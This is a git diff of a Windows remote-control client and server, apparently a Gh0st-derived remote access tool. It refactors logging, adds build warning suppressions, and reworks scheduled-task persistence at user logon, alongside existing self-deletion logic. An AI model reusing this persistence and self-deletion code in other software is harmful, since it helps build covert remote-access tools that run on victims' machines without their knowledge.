diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index e5e6b28..2748d74 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -182,17 +182,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
return TRUE;
}
-void ServiceLogger(const char* message) {
- Logger::getInstance().log(NULL, 0, "%s", message);
-}
-
int main(int argc, const char *argv[])
{
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
- InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, ServiceLogger);
+ InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, Log);
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc;
// 注册启动项
- int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin);
+ int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin, Logf);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 6edecbe..8661502 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -98,12 +98,13 @@
ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
zlib\zlib.lib;%(AdditionalDependencies)
libcmt.lib;msvcrt.lib
+ /ignore:4099 %(AdditionalOptions)
@@ -115,12 +116,13 @@
ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
zlib\zlib_x64.lib;%(AdditionalDependencies)
libcmt.lib
+ /ignore:4099 %(AdditionalOptions)
@@ -133,14 +135,14 @@
$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
true
true
zlib\zlib.lib;%(AdditionalDependencies)
- /SAFESEH:NO %(AdditionalOptions)
+ /SAFESEH:NO /ignore:4099 %(AdditionalOptions)
msvcrt.lib
@@ -154,14 +156,14 @@
$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
true
true
zlib\zlib_x64.lib;%(AdditionalDependencies)
- /SAFESEH:NO %(AdditionalOptions)
+ /SAFESEH:NO /ignore:4099 %(AdditionalOptions)
diff --git a/client/SCLoader.vcxproj b/client/SCLoader.vcxproj
index a791e12..9b3c35d 100644
--- a/client/SCLoader.vcxproj
+++ b/client/SCLoader.vcxproj
@@ -93,12 +93,13 @@
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Console
true
mainCRTStartup
+ /ignore:4099 %(AdditionalOptions)
@@ -110,7 +111,7 @@
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
@@ -118,6 +119,7 @@
true
false
entry
+ /ignore:4099 %(AdditionalOptions)
@@ -127,12 +129,13 @@
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Console
true
mainCRTStartup
+ /ignore:4099 %(AdditionalOptions)
@@ -144,7 +147,7 @@
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
@@ -152,6 +155,7 @@
true
false
entry
+ /ignore:4099 %(AdditionalOptions)
diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj
index 67bf6c8..78b8072 100644
--- a/client/TestRun_vs2015.vcxproj
+++ b/client/TestRun_vs2015.vcxproj
@@ -95,12 +95,13 @@
true
false
$(SolutionDir);%(AdditionalIncludeDirectories)
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
Console
+ /ignore:4099 %(AdditionalOptions)
@@ -111,12 +112,13 @@
true
false
$(SolutionDir);%(AdditionalIncludeDirectories)
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
Console
+ /ignore:4099 %(AdditionalOptions)
@@ -129,7 +131,7 @@
true
_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
$(SolutionDir);%(AdditionalIncludeDirectories)
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
@@ -137,6 +139,7 @@
true
Windows
mainCRTStartup
+ /ignore:4099 %(AdditionalOptions)
@@ -149,7 +152,7 @@
true
_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
$(SolutionDir);%(AdditionalIncludeDirectories)
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
@@ -157,6 +160,7 @@
true
Windows
mainCRTStartup
+ /ignore:4099 %(AdditionalOptions)
diff --git a/client/TinyRun.vcxproj b/client/TinyRun.vcxproj
index 37f1899..1c1cb46 100644
--- a/client/TinyRun.vcxproj
+++ b/client/TinyRun.vcxproj
@@ -92,11 +92,12 @@
true
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Console
true
+ /ignore:4099 %(AdditionalOptions)
@@ -108,13 +109,14 @@
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
true
true
false
+ /ignore:4099 %(AdditionalOptions)
@@ -123,11 +125,12 @@
true
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Console
true
+ /ignore:4099 %(AdditionalOptions)
@@ -139,13 +142,14 @@
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
true
true
false
+ /ignore:4099 %(AdditionalOptions)
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 4efdc0d..98a8dae 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -98,7 +98,7 @@
_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
@@ -107,6 +107,7 @@
Console
+ /ignore:4099 %(AdditionalOptions)
@@ -118,7 +119,7 @@
_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
@@ -127,6 +128,7 @@
Console
+ /ignore:4099 %(AdditionalOptions)
@@ -139,14 +141,14 @@
$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
true
true
zlib\zlib.lib;%(AdditionalDependencies)
- /SAFESEH:NO %(AdditionalOptions)
+ /SAFESEH:NO /ignore:4099 %(AdditionalOptions)
Windows
mainCRTStartup
msvcrt.lib
@@ -162,14 +164,14 @@
$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
true
true
true
zlib\zlib_x64.lib;%(AdditionalDependencies)
- /SAFESEH:NO %(AdditionalOptions)
+ /SAFESEH:NO /ignore:4099 %(AdditionalOptions)
Windows
mainCRTStartup
diff --git a/client/reg_startup.c b/client/reg_startup.c
index 14ceac5..fa12aaf 100644
--- a/client/reg_startup.c
+++ b/client/reg_startup.c
@@ -13,13 +13,16 @@
#include
#include
#include
-#define Mprintf printf
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "userenv.lib")
#pragma comment(lib, "shlwapi.lib")
+static StartupLogFunc Log = NULL;
+
+#define Mprintf(format, ...) if (Log) Log(__FILE__, __LINE__, format, __VA_ARGS__)
+
inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wcharSize)
{
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
@@ -103,6 +106,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE);
pSettings->lpVtbl->Release(pSettings);
}
+ else {
+ Mprintf("ȡʧܣ룺%ld\n", hr);
+ }
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->lpVtbl->get_RegistrationInfo(pTask, &pRegInfo);
@@ -125,6 +131,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
SysFreeString(bDesc);
pRegInfo->lpVtbl->Release(pRegInfo);
}
+ else {
+ Mprintf("ȡעϢʧܣ룺%ld\n", hr);
+ }
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
@@ -132,14 +141,35 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
- if (FAILED(hr)) {
+ if (SUCCEEDED(hr)) {
+ // ͨûҪָû
+ if (!runasAdmin) {
+ ILogonTrigger* pLogonTrigger = NULL;
+ hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
+ if (SUCCEEDED(hr)) {
+ char userName[UNLEN + 1] = { 0 };
+ DWORD nameLen = UNLEN + 1;
+ GetUserNameA(userName, &nameLen);
+ WCHAR wUser[MAX_PATH] = { 0 };
+ ConvertCharToWChar(userName, wUser, MAX_PATH);
+ BSTR bstrUser = SysAllocString(wUser);
+ pLogonTrigger->lpVtbl->put_UserId(pLogonTrigger, bstrUser);
+ SysFreeString(bstrUser);
+ pLogonTrigger->lpVtbl->Release(pLogonTrigger);
+ }
+ }
+ pTrigger->lpVtbl->Release(pTrigger);
+ }
+ else {
Mprintf("룺%ld\n", hr);
pTask->lpVtbl->Release(pTask);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 6;
}
- pTrigger->lpVtbl->Release(pTrigger);
+ }
+ else {
+ Mprintf("ȡʧܣ룺%ld\n", hr);
}
// ò
@@ -159,18 +189,32 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
SysFreeString(path);
pExecAction->lpVtbl->Release(pExecAction);
}
+ else {
+ Mprintf("QueryInterface ʧܣ룺%ld\n", hr);
+ }
pAction->lpVtbl->Release(pAction);
}
+ else {
+ Mprintf("ʧܣ룺%ld\n", hr);
+ }
pActionCollection->lpVtbl->Release(pActionCollection);
}
+ else {
+ Mprintf("ȡʧܣ룺%ld\n", hr);
+ }
// Ȩ
IPrincipal* pPrincipal = NULL;
- if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
- pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
- pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
+ if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
+ hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
+ if (FAILED(hr)) Mprintf("put_LogonType ʧܣ룺%ld\n", hr);
+ hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
+ if (FAILED(hr)) Mprintf("put_RunLevel ʧܣ룺%ld\n", hr);
pPrincipal->lpVtbl->Release(pPrincipal);
}
+ else {
+ if (runasAdmin) Mprintf("ȡȨʧܣ룺%ld\n", hr);
+ }
// ע
ITaskFolder* pFolder = NULL;
@@ -197,7 +241,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
bstrTaskName,
pTask,
TASK_CREATE_OR_UPDATE,
- vUser,
+ runasAdmin ? vUser : empty,
empty,
TASK_LOGON_INTERACTIVE_TOKEN,
empty,
@@ -216,11 +260,17 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
}
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
}
+ else {
+ Mprintf("עƻʧܣ룺%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No");
+ }
VariantClear(&vUser);
SysFreeString(bstrTaskName);
pFolder->lpVtbl->Release(pFolder);
}
+ else {
+ Mprintf("ȡĿ¼ʧܣ룺%ld\n", hr);
+ }
pTask->lpVtbl->Release(pTask);
pService->lpVtbl->Release(pService);
@@ -287,11 +337,12 @@ BOOL CreateDirectoryRecursively(const char* path)
return TRUE;
}
-int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin)
+int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
{
#ifdef _DEBUG
return 1;
#endif
+ Log = log;
char folder[MAX_PATH] = { 0 };
if (GetEnvironmentVariableA("LOCALAPPDATA", folder, MAX_PATH) > 0) {
size_t len = strlen(folder);
diff --git a/client/reg_startup.h b/client/reg_startup.h
index 8e8bdb7..7feadb3 100644
--- a/client/reg_startup.h
+++ b/client/reg_startup.h
@@ -1,5 +1,7 @@
#pragma once
#include
+typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
+
// return > 0 means to continue running else terminate.
-int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin);
+int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
diff --git a/client/test.cpp b/client/test.cpp
index 09ca5a0..82aa369 100644
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -210,10 +210,6 @@ public:
}
};
-void ServiceLogger(const char* message) {
- Logger::getInstance().log(NULL, 0, "%s", message);
-}
-
// @brief ȶȡsettings.iniļȡIPͶ˿.
// [settings]
// localIp=XXX
@@ -222,10 +218,10 @@ void ServiceLogger(const char* message) {
int main(int argc, const char *argv[])
{
Mprintf(": %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
- InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, ServiceLogger);
+ InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log);
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc;
// ע
- int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin);
+ int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
diff --git a/common/logger.h b/common/logger.h
index 10196fe..432de5c 100644
--- a/common/logger.h
+++ b/common/logger.h
@@ -258,3 +258,16 @@ inline const char* getFileName(const char* path)
#endif
#endif // _WIN32
+
+inline void Log(const char* message) {
+ return Logger::getInstance().log(NULL, 0, "%s", message);
+}
+
+inline void Logf(const char* file, int line, const char* format, ...) {
+ va_list args;
+ va_start(args, format);
+ char message[1024];
+ vsnprintf(message, sizeof(message), format, args);
+ va_end(args);
+ return Logger::getInstance().log(getFileName(file), line, "%s", message);
+}
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 9476d9c..485585b 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -102,7 +102,7 @@
false
$(SolutionDir);%(AdditionalIncludeDirectories)
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
@@ -111,6 +111,7 @@
LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)
$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)
true
+ /ignore:4099 %(AdditionalOptions)
false
@@ -133,7 +134,7 @@
false
$(SolutionDir);%(AdditionalIncludeDirectories)
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
@@ -141,6 +142,7 @@
zlib\zlib_x64.lib;%(AdditionalDependencies)
LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)
$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)
+ /ignore:4099 %(AdditionalOptions)
false
@@ -164,7 +166,7 @@
true
$(SolutionDir);%(AdditionalIncludeDirectories)
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
@@ -172,7 +174,7 @@
true
true
zlib\zlib.lib;%(AdditionalDependencies)
- /SAFESEH:NO %(AdditionalOptions)
+ /SAFESEH:NO /ignore:4099 %(AdditionalOptions)
$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)
@@ -198,7 +200,7 @@
true
$(SolutionDir);%(AdditionalIncludeDirectories)
false
- 4018;4244;4267;4819
+ 4018;4244;4267;4819;4838
Windows
@@ -206,7 +208,7 @@
true
true
zlib\zlib_x64.lib
- /SAFESEH:NO %(AdditionalOptions)
+ /SAFESEH:NO /ignore:4099 %(AdditionalOptions)
$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)